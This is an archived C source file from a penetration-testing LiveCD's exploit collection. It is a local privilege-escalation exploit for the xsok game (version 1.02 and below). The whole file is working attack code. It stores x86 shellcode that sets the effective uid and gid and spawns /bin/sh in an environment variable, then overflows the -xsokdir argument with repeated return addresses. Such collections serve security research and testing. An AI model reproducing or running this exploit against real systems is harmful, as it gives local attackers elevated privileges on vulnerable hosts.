home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xsok / exp-xsok-2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  50 lines

  1. /*
  2. Another xsok 1.02 and below local game exploit
  3. coded by n2n, n2n<at>linuxmail.org
  4. Eye on Security Research Group, India http://www.eos-india.net
  5. This one exploits the -xsokdir commandline overflow bug.
  6. Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
  7. Tested on Redhat Linux 9.0
  8. */
  9.  
  10. #define VULN "/usr/X11R6/bin/xsok"
  11. #define BUFLEN    200
  12. #include <string.h>
  13. #include <stdlib.h>
  14. #include <stdio.h>
  15.  
  16. /* shellcode by me, n2n@linuxmail.org */
  17. char *shellcode=
  18.     /* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
  19.     "\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
  20.     /* setregid(getegid(),getegid()) */
  21.     "\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
  22.     /* exec /bin/sh */
  23.     "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
  24.     /* exit() */
  25.     "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
  26.  
  27. int main(int argc, char **argv)
  28. {
  29.     char exploit[BUFLEN+5];
  30.     unsigned long addr_ret = 0xc0000000 - 4;
  31.     char *arg0 = VULN;
  32.     int i;
  33.     if (argc > 2) {
  34.         fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
  35.         return 1;
  36.     }
  37.     if (argc > 1)
  38.         arg0 = argv[1];
  39.     addr_ret -= strlen(arg0) + 1;
  40.     addr_ret -= strlen(shellcode) + 1; 
  41.     setenv("EGG",shellcode,1);    
  42.     for(i=0;i<BUFLEN;i+=4)
  43.         *(unsigned int *)(exploit+i)=addr_ret;
  44.     exploit[i]=0x0;
  45.     printf("Using RET=%p\n",addr_ret);
  46.     execl(arg0,arg0,"-xsokdir",exploit,NULL);
  47.     printf("\n");
  48.     return 1;
  49. }
  50.